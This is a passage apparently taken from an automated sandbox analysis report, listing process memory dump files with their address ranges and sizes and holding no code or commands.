                                                                                          • memory/4792-206-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4820-200-0x0000000000401000-0x0000000000417000-memory.dmp

                                                                                            Filesize

                                                                                            88KB

                                                                                          • memory/4840-210-0x00000000006D0000-0x00000000006D1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4900-215-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4912-137-0x0000016AD1E70000-0x0000016AD1E71000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4912-122-0x00007FFEB1430000-0x00007FFEB14AE000-memory.dmp

                                                                                            Filesize

                                                                                            504KB

                                                                                          • memory/4928-128-0x00000000726A0000-0x0000000072733000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/4940-135-0x00000000020F0000-0x0000000002123000-memory.dmp

                                                                                            Filesize

                                                                                            204KB

                                                                                          • memory/4940-144-0x000000001C280000-0x000000001C282000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4940-131-0x00007FFE97ED0000-0x00007FFE988BC000-memory.dmp

                                                                                            Filesize

                                                                                            9.9MB

                                                                                          • memory/4940-136-0x0000000000720000-0x0000000000721000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4940-134-0x0000000000710000-0x0000000000711000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4940-132-0x00000000001D0000-0x00000000001D1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5020-271-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/5020-276-0x00000000078F0000-0x00000000078F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5020-274-0x0000000007280000-0x0000000007281000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5028-230-0x0000000000660000-0x0000000000661000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5080-161-0x000000000A360000-0x000000000A361000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5080-160-0x000000000A3C0000-0x000000000A3C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5080-159-0x0000000004D10000-0x0000000004D11000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5080-156-0x0000000004CC0000-0x0000000004CC1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5080-154-0x0000000000430000-0x0000000000431000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5080-146-0x0000000070E80000-0x000000007156E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB